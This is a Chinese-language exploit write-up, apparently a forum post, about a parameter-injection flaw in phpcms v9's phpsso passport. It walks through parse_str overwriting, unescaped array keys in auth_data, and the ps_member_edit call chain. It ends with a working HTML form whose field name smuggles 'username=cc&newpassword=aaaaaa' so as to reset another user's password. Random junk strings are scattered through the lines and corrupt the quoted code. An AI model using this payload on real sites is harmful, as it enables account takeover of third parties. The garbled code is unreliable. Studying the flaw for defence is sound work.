提到的通行证的代码:5 Z+ D# ?7 h& F/ K$ o. x0 N
( m s( p1 V+ l4 @0 Y2 f4 D
5 c" O$ \3 }6 R0 \3 ?/ xparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);( V) N5 v& \7 z
/ C7 b9 |4 x' N! e在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。1 X, _ C! b/ o& O
+ F4 e, ^" d8 {, Z+ g+ [我把它留给了你们。
" F5 L' e# F5 i9 B% Y不知道你们发现了它没有。
5 p/ l( G& X1 P/ L: C' S5 G2 ~+ a9 `1 H- E
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 _' }( _& u% H- W
. b% n" J: s8 j& p9 r8 D6 b5 y所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。' V' y, Y4 j) ^6 E% d* _
4 z( {. ]; E5 i2 j/ h* h+ g k
也就是
1 G1 S& G4 J0 n4 z. V. v$ o* P' l4 J: E$ P, ?
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; q2 ?* N5 }. r( R
% n! q9 v% N* g, e2 q) C
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
2 Q* I# j5 I$ `
3 Z2 O0 p) o/ L! V4 m1 v
3 x" b! v. g0 v/ W, [/ K: y3 }其实我们有这样的机会,看看代码,如下:
5 x/ L- T- f' e) u1 t w8 b+ X# T9 ~# N9 V- b; q" ~
+ X' j! P! L9 x" G
public function auth_data($data) {" Q, c2 t. {# |( S- d' `
$s = $sep = ''; ^( f- O) Y; g# z8 C
foreach($data as $k => $v) {
* n- L- L8 D0 e" j: m) Q$ {( e2 E5 s if(is_array($v)) {4 a( B/ F1 t1 J5 y2 c9 C( ]
$s2 = $sep2 = '';
% b- |# e3 i W d- a. z% P0 U3 l: V foreach($v as $k2 => $v2) {
4 F# Q0 _0 `- |3 \ $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 Q- A3 y0 x) m: S. j/ J. |6 s
$sep2 = '&';
# Z( b; R4 ~$ w% B }" \+ Y1 w9 M2 l$ ^
$s .= $sep.$s2;
. r, T" X6 P# F( Z } else {) ~3 `4 J$ L9 q( h
$s .= "$sep$k=".$this->_ps_stripslashes($v);4 o$ H. J2 `6 y
}/ H# F `- H( c) F4 J+ J
$sep = '&';% d( m) o! H3 b6 {6 L1 L
}
: l% M3 a6 j1 F, P( h3 `' Y" O
7 w. m( M3 F t3 f# Z( ~ $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));2 Z2 @7 f& v3 p0 T2 z
return $auth_s;2 C$ {) t" ~4 [* v- r5 p
}% K5 r* ^5 w$ J$ u. K
) w% I& N. u9 l) C2 X3 L
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。/ L% `# m: k5 U7 N% ?
- ~6 g) H6 Z1 _2 D/ ~; O0 x
举个例子
# R& I% K2 n- R3 [ N( R" D% t S9 I0 @; B8 e6 K
$a[aaa=a&bbb] = 'a';! f+ P4 v5 L2 }/ M
8 I* [2 j! ^* {6 T: S; Z, b
会变成aaa=a&bbb=a
6 I% f: Z4 U7 h- i0 t) T8 M" ]$ B! d
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。* |9 `. g0 V* E: p
, u; S7 e) w# g5 [
这个时候,我们可以再去看一个函数。
, s I3 U+ T' q% o/ j7 G# p
; p5 ^ @, `- ?2 @" ~" _就在这个文件内:
" Q, M: k4 a* _% h9 C$ ^
0 M# n# o! ~, x. F1 ^9 y
' {1 e& [% x. G0 G8 }% |public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {- L- p8 c& m) f+ M* N3 e6 y# D
if($email && !$this->_is_email($email)) {
$ T/ W" Q2 s" ^# B" z8 W0 y; j2 _ return -4;. Q- O6 ~' `* h# o! j5 x0 F
}6 T0 G U! D Y( h7 C& [' X
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));* y: N. b) r# Z. R+ p' G4 n) Z
}
0 v: {& `. v# g# V0 }" w! r$ K& g- L: l+ D9 x% V* G
这是向通行证发了这样一个请求。
* K! _7 Y2 ]# H! L" R; K7 M% W- h, \
; w( w- [3 ?& `1 [% Q9 m3 d我们再跟到通信证代码里去看看,就会有所发现。/ i/ Y& i) O8 [. w" t, L( i
: k, Z& z: g2 X( ~' l- b- l
/ y* E! Z5 C% X% q& Z* K! dpublic function edit() {
& |9 L; R& I% P//能省就省,太长了不是吗?
' F/ M2 o6 T* t' Y' X' C/ `$ v
if($this->username) {7 G# ?1 p) a1 j5 x) b
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。, x; P& A4 v5 Y2 Q' t3 c
$res = $this->db->update($data, array('username'=>$this->username));
$ J7 m+ h- F% S. D } else {
; F3 v- b% m. _) d, ^ file_put_contents('typeb.txt',print_r($data,1).$this->uid);" E7 N5 c7 u7 h4 N- A/ P
$res = $this->db->update($data, array('uid'=>$this->uid));
, d2 L$ w) D" j' w* V }# Q* L* g0 Y5 Y& r
# M7 _/ o1 H9 O# o6 e! I好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
# f# N! x* f1 _6 Z9 c% ~' j& G; k, h
. M) i3 a0 p' K7 M& k, N2 Bpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')3 l7 k% i: Y8 ]5 I& w7 n' Q
0 J! R! E9 v3 W; p
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。/ |0 ^+ I! F6 W
/ U6 Q6 T; V/ o( Y+ \我当然找到了:& j: V7 @+ o: k3 o# ~1 F
phpcms9/phpcms/modules/member/index.php+ f+ z: l- l3 F7 t
" L$ P. H* s6 I$ L, S3 I( B& o
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);' k0 F' {4 \! y
& f8 ?: R) t4 R Q
然后就没有然后了。
6 [. {4 W/ @. u1 l* n% [
. k* T/ l, p7 o. ^% L<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 z% n& n! |& s. y6 H$ x1 V <table width="100%" cellspacing="0" class="table_form">
, ?4 C8 V2 X8 T3 Y% _# j <tr>
" S, `+ E2 C+ T2 ^, r% @ <th width="80">邮箱:</th>
& t) {+ v. \" m" M& W- x <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>/ ]2 @5 ^2 ]6 F% [- @
</tr>
) q! l( P: s+ d% ~$ e; O4 n <tr>& b1 i5 i- w: f0 ]! N
<th width="80">原密码:</th>
" B$ ]4 a# m) c <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
0 M% S5 V8 V+ s: Z3 G; g+ | </tr>. Z! y* F" t ]4 ?/ p7 \$ |% b: Z% `
<tr>; r) I& b1 e% {7 I1 N
<th>新密码:</th>3 u7 d4 O' T) z2 F0 F9 g
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>! D8 V3 x( Z% F( [
</tr>( A5 K( X8 X; k0 Z U
<th></th>
6 U6 J" N- n7 n0 v <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
" D$ l7 H* Z( I </tr>
* T- _5 S9 A" w8 W( A. X, l9 I </table> q( F! l) T/ l+ ^6 p; N
) p% D2 T* I3 P1 f + A* G; K$ l% }; V
</form>
1 N! \' x% S. g# Y |